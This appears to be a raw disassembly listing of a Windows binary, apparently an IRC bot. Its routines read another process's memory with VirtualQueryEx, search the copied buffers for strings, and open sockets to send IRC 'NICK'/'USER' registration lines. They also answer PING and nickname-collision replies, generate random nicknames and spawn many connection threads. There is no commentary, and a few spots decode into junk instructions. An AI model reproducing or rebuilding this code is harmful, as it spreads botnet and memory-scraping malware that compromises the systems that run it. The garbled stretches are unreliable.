		push	dword ptr [ebp-60h]
		mov	[ebp-8], esi
		mov	esi, ds:dword_42714C
		push	8
		call	esi ; dword_42714C
		mov	edi, ds:dword_427148
		push	eax
		call	edi ; dword_427148
		lea	ecx, [ebp-8]


loc_4178C8:				; CODE XREF: seg000:0041788Cj
		mov	ebx, ds:dword_427154
		push	ecx
		mov	[ebp+8], eax
		push	dword ptr [ebp-60h]
		push	eax
		push	7FFDF000h
		push	dword ptr [ebp-4]
		call	ebx ; dword_427154
		test	eax, eax
		jnz	short loc_4178EB
		xor	esi, esi
		jmp	loc_417A09
; ---------------------------------------------------------------------------


loc_4178EB:				; CODE XREF: seg000:004178E2j
		lea	eax, [ebp-40h]
		push	1Ch
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+18h]
		push	dword ptr [ebp-4]
		call	ds:dword_427150	; VirtualQueryEx
		test	eax, eax
		jz	loc_4179F8
		mov	ecx, [ebp-30h]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4179F8
		test	byte ptr [ebp-2Bh], 1
		jnz	loc_4179F8
		push	dword ptr [ebp-34h]
		push	8
		call	esi ; dword_42714C
		push	eax
		call	edi ; dword_427148
		mov	edi, eax
		lea	eax, [ebp-8]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [ebp-34h]
		mov	[ebp-0Ch], edi
		push	edi
		push	dword ptr [eax+18h]
		push	dword ptr [ebp-4]
		call	ebx ; dword_427154
		test	eax, eax
		jz	loc_4179F8


loc_41794E:				; CODE XREF: seg000:00417984j
		push	edi
		push	offset dword_4D9060
		call	sub_4265F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417976
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D9860
		call	sub_4265F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417986


loc_417976:				; CODE XREF: seg000:0041795Dj
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-0Ch]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4179F8
		jmp	short loc_41794E
; ---------------------------------------------------------------------------


loc_417986:				; CODE XREF: seg000:00417974j
		test	edi, edi
		jz	short loc_4179F8
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 0B00000h
		inc	edi
		test	eax, eax
		jz	short loc_4179C1
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	near ptr 0B00000h
		aam	85h
		sal	byte ptr [eax+edx-76h],	87h
		sub	al, 4
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 0E8D10C4Dh, 897FE083h
		db 1
; ---------------------------------------------------------------------------


loc_4179C1:				; CODE XREF: seg000:0041799Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	ds:dword_4DA284, eax
		mov	eax, [ebp+8]
		mov	dword ptr [ebp-10h], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp-0Ch]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	ds:dword_4DA27C, eax
		mov	ds:dword_4DA280, edi


loc_4179F8:				; CODE XREF: seg000:00417902j
					; seg000:00417914j ...
		push	dword ptr [ebp+8]
		push	0
		call	esi ; dword_42714C
		push	eax
		call	ds:dword_427144	; RtlFreeHeap
		mov	esi, [ebp-10h]


loc_417A09:				; CODE XREF: seg000:004178E6j
		push	dword ptr [ebp-4]
		call	ds:dword_42706C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A19	proc near		; CODE XREF: sub_417517:loc_41760Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 0B00000h
		push	eax
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417B0B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_427158	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417B02
		mov	edi, ds:dword_42714C


loc_417A64:				; CODE XREF: sub_417A19+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_427150	; VirtualQueryEx
		test	eax, eax
		jz	short loc_417AF0
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417AF6
		test	[ebp+var_13], 1
		jnz	short loc_417AF6
		push	ecx
		push	8
		call	edi ; dword_42714C
		push	eax
		call	ds:dword_427148	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 0B00000h
		int	85h
		sal	byte ptr [eax+ebp+68h],	60h
		nop
		dec	ebp
		add	[esi-18h], dl
		das
		jmp	short $+2
		add	[ecx-7Bh], bl
		rcr	byte ptr [ecx+75h], 17h
		lea	eax, [esi+400h]
		push	offset dword_4D9860
		push	eax
		call	sub_4265F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417B12
		push	esi
		push	0
		call	edi ; dword_42714C
		push	eax
		call	ds:dword_427144	; RtlFreeHeap
		jmp	short loc_417AF6
; ---------------------------------------------------------------------------


loc_417AF0:				; CODE XREF: sub_417A19+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417AF6:				; CODE XREF: sub_417A19+71j
					; sub_417A19+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417A64


loc_417B02:				; CODE XREF: sub_417A19+3Fj
		push	[ebp+arg_0]
		call	ds:dword_42706C	; CloseHandle


loc_417B0B:				; CODE XREF: sub_417A19+1Ej
		xor	eax, eax


loc_417B0D:				; CODE XREF: sub_417A19+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417B12:				; CODE XREF: sub_417A19+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	ds:dword_4DA27C, ebx
		mov	ds:dword_4DA280, eax
		cmp	[eax], cl
		jnz	short loc_417B34
		cmp	[eax+1], cl
		jz	short loc_417B3C


loc_417B34:				; CODE XREF: sub_417A19+114j
					; sub_417A19+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417B34


loc_417B3C:				; CODE XREF: sub_417A19+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:dword_42706C	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_417B0D
sub_417A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B4F	proc near		; CODE XREF: sub_417517+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_4DA278
		push	esi
		mov	esi, ds:dword_42714C
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi ; dword_42714C
		push	eax
		call	ds:dword_427148	; RtlAllocateHeap
		mov	ecx, ds:dword_4DA278
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	ds:dword_4DA280
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr ds:dword_4DA284
		push	eax
		call	ds:dword_4DA064
		push	[ebp+var_4]
		mov	edi, offset dword_4DA070
		push	offset dword_4D9060
		push	offset dword_4D9860
		push	[ebp+arg_0]
		push	offset dword_43FE34
		push	200h
		push	edi
		call	sub_41C030
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi ; dword_42714C
		push	eax
		call	ds:dword_427144	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BE6	proc near		; CODE XREF: sub_417517:loc_417653p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_4DA278
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_42714C	; GetProcessHeap
		push	eax
		call	ds:dword_427148	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D9860
		mov	edi, 200h
		mov	esi, offset dword_4D8E60


loc_417C2C:				; CODE XREF: sub_417BE6+FAj
		mov	eax, ds:dword_4DA278
		add	eax, eax
		push	eax
		push	ds:dword_4DA280
		push	[ebp+var_14]
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4DA064
		mov	eax, ds:dword_4DA278
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417CA1


loc_417C69:				; CODE XREF: sub_417BE6+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417CBE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417C8D
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417C8D
		cmp	dl, 20h
		jnb	short loc_417C87
		and	[ebp+var_8], 0


loc_417C87:				; CODE XREF: sub_417BE6+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417C91


loc_417C8D:				; CODE XREF: sub_417BE6+90j
					; sub_417BE6+96j
		and	[ebp+var_8], 0


loc_417C91:				; CODE XREF: sub_417BE6+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417C69
		cmp	[ebp+var_8], 0
		jz	short loc_417CBE


loc_417CA1:				; CODE XREF: sub_417BE6+81j
		push	[ebp+var_14]
		push	offset dword_4D9060
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43FE34
		push	edi
		push	esi
		call	sub_41C030
		add	esp, 1Ch
		jmp	short loc_417CD6
; ---------------------------------------------------------------------------


loc_417CBE:				; CODE XREF: sub_417BE6+87j
					; sub_417BE6+B9j
		push	offset dword_4D9060
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43FE84
		push	edi
		push	esi
		call	sub_41C030
		add	esp, 18h


loc_417CD6:				; CODE XREF: sub_417BE6+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417C2C
		push	[ebp+var_14]
		push	0
		call	ds:dword_42714C	; GetProcessHeap
		push	eax
		call	ds:dword_427144	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417BE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CFF	proc near		; CODE XREF: sub_417EC3+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_4D1270
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417D7B
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_4D11F0
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_4D1230
		cmp	eax, esi
		jnz	short loc_417D60
		push	[ebp+arg_0]
		call	ds:dword_4D1274
		test	eax, eax
		jz	short loc_417D7B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417D60:				; CODE XREF: sub_417CFF+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4D1198
		cmp	eax, esi
		jnz	short loc_417D7F
		push	edi
		call	ds:dword_4D1288


loc_417D7B:				; CODE XREF: sub_417CFF+1Bj
					; sub_417CFF+58j
		mov	eax, esi
		jmp	short loc_417D81
; ---------------------------------------------------------------------------


loc_417D7F:				; CODE XREF: sub_417CFF+73j
		mov	eax, edi


loc_417D81:				; CODE XREF: sub_417CFF+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417CFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D85	proc near		; CODE XREF: seg000:00404D9Ep
					; seg000:00404E07p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_430808 ; "\n"
		push	edi
		call	sub_41C560
		pop	ecx
		mov	esi, offset dword_4DA28C
		pop	ecx


loc_417D9D:				; CODE XREF: sub_417D85+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417DBB
		cmp	dword ptr [esi], 0
		jbe	short loc_417DBB
		push	0
		push	edi
		call	sub_41B890
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	ds:dword_4D1240


loc_417DBB:				; CODE XREF: sub_417D85+1Cj
					; sub_417D85+21j
		add	esi, 210h
		cmp	esi, offset dword_4E09AC
		jl	short loc_417D9D
		pop	edi
		pop	esi
		retn
sub_417D85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DCC	proc near		; CODE XREF: sub_417EC3+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_43368C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C794
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417DF1:				; CODE XREF: sub_417DCC+35j
		push	esi
		push	0
		call	sub_41C794
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417DF1
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417E19
		cmp	esi, edi
		jnz	short loc_417E19
		push	1
		pop	eax
		jmp	loc_417EBE
; ---------------------------------------------------------------------------


loc_417E19:				; CODE XREF: sub_417DCC+3Fj
					; sub_417DCC+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C710
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417E43
		lea	eax, [ebp+var_220]
		push	offset dword_440A50
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_417E9D
; ---------------------------------------------------------------------------


loc_417E43:				; CODE XREF: sub_417DCC+5Fj
		push	offset a433	; "433"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417E64
		push	esi
		push	offset dword_440A4C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417EBC


loc_417E64:				; CODE XREF: sub_417DCC+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BC40
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_440A40
		push	eax
		call	sub_41BF36
		add	esp, 1Ch


loc_417E9D:				; CODE XREF: sub_417DCC+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240


loc_417EBC:				; CODE XREF: sub_417DCC+96j
		xor	eax, eax


loc_417EBE:				; CODE XREF: sub_417DCC+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EC3	proc near		; DATA XREF: sub_418065+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C1D0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4DA294[esi]
		mov	ds:dword_4DA288[esi], edi
		push	ds:dword_4DA494[esi]
		push	eax
		call	sub_417CFF
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4DA28C[esi], eax
		jb	loc_418045
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BC40
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41BF36
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	ds:dword_4DA28C[esi]
		call	ds:dword_4D1240
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch


loc_417F9C:				; CODE XREF: sub_417EC3+10Ej
					; sub_417EC3+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	ds:dword_4DA28C[esi]
		call	ds:dword_4D1208
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_418045
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417F9C


loc_417FD3:				; CODE XREF: sub_417EC3+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417FFA
		cmp	al, 0Ah
		jz	short loc_417FFA
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417FFA
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_418034
; ---------------------------------------------------------------------------


loc_417FFA:				; CODE XREF: sub_417EC3+119j
					; sub_417EC3+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_418034
		push	ds:dword_4DA28C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417DCC
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_418045
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_418034:				; CODE XREF: sub_417EC3+135j
					; sub_417EC3+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417FD3
		jmp	loc_417F9C
; ---------------------------------------------------------------------------


loc_418045:				; CODE XREF: sub_417EC3+40j
					; sub_417EC3+104j ...
		mov	ds:dword_4DA288[esi], ebx
		mov	esi, ds:dword_4DA28C[esi]
		cmp	esi, ebx
		jbe	short loc_41805C
		push	esi
		call	ds:dword_4D1288


loc_41805C:				; CODE XREF: sub_417EC3+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417EC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418065	proc near		; CODE XREF: seg000:00404CF1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_4180DE


loc_418077:				; CODE XREF: sub_418065+77j
		xor	edi, edi
		mov	eax, offset dword_4DA288


loc_41807E:				; CODE XREF: sub_418065+28j
		cmp	[eax], ebx
		jz	short loc_41808F
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4E09A8
		jl	short loc_41807E


loc_41808F:				; CODE XREF: sub_418065+1Bj
		cmp	edi, 31h
		jz	short loc_4180DE
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4DA294[esi]
		push	eax
		call	sub_41C550
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	ds:dword_4DA494[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	ds:dword_4DA288[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417EC3
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_418077


loc_4180DE:				; CODE XREF: sub_418065+10j
					; sub_418065+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418065	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180E3	proc near		; CODE XREF: seg000:00405244p
					; seg000:00405287p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		call	sub_41BF92
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	ds:dbl_4276F8
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_41812D
		call	sub_41BF92
		call	sub_41BF92
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr ds:loc_4401D7+1[edx*4]
		jmp	short loc_418146
; ---------------------------------------------------------------------------


loc_41812D:				; CODE XREF: sub_4180E3+2Fj
		call	sub_41BF92
		call	sub_41BF92
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	ds:off_43FED8[edx*4]


loc_418146:				; CODE XREF: sub_4180E3+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C550
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276F0
		call	sub_41CE38
		mov	ebx, eax
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_4181B9
		cmp	esi, 3
		jnz	short loc_4181B0
		cmp	ebx, 1
		jz	short loc_4181B9


loc_4181B0:				; CODE XREF: sub_4180E3+C6j
		cmp	eax, 1
		jnz	loc_418273


loc_4181B9:				; CODE XREF: sub_4180E3+C1j
					; sub_4180E3+CBj
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276E0
		call	sub_41CE38
		push	dword ptr ds:loc_4401D7+1[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C550
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C650
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418260
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418260
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_418260
		push	edi
		call	sub_41B890
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		mov	al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418260:				; CODE XREF: sub_4180E3+111j
					; sub_4180E3+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C880
		add	esp, 0Ch


loc_418273:				; CODE XREF: sub_4180E3+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B890
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DD18
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4184DB
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4183D2
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		cmp	esi, 3
		jz	short loc_4182E1
		cmp	eax, 1
		jnz	loc_4183D2


loc_4182E1:				; CODE XREF: sub_4180E3+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_418323
		push	edi
		call	sub_41B890
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		mov	al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_41833F
; ---------------------------------------------------------------------------


loc_418323:				; CODE XREF: sub_4180E3+207j
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D8
		call	sub_41CE38
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_41833F:				; CODE XREF: sub_4180E3+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D0
		call	sub_41CE38
		cmp	esi, 3
		jz	short loc_418368
		cmp	eax, ebx
		jnz	short loc_4183D2


loc_418368:				; CODE XREF: sub_4180E3+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4183AD
		push	edi
		call	sub_41B890
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
